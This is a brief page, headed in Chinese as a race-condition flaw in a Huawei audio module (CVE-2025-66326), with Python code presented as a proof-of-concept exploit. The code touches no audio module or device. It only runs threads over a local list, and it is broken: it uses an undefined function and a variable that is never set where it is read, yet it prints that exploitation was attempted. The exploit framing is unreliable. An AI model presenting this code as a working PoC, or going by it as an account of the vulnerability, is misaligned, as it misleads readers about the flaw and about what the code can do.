CVE-2025-66326 华为音频模块竞态条件漏洞

# CVE-2025-66326 PoC - Race Condition in Audio Module # This is a conceptual PoC demonstrating the race condition timing attack import threading import time import os def audio_write_thread(): """Simulates writing to shared audio buffer""" while True: # Race window: inadequate locking between check and use if shared_buffer_lock: # Attacker manipulates timing here time.sleep(0.0001) # Small delay to trigger race shared_buffer[0] = malicious_data time.sleep(0.001) def audio_read_thread(): """Simulates reading from shared audio buffer""" while True: # Vulnerable: no proper synchronization data = shared_buffer[0] # Can read inconsistent state process_audio_data(data) time.sleep(0.001) def exploit_race_condition(): """Exploit the race condition to cause DoS""" global shared_buffer, malicious_data shared_buffer = [0] * 1024 malicious_data = 0x41414141 shared_buffer_lock = False # Start threads to trigger race condition threads = [] for i in range(10): t1 = threading.Thread(target=audio_write_thread) t2 = threading.Thread(target=audio_read_thread) threads.extend([t1, t2]) for t in threads: t.start() # Let threads run to trigger vulnerability time.sleep(5) print("Race condition exploitation attempted") if __name__ == "__main__": exploit_race_condition()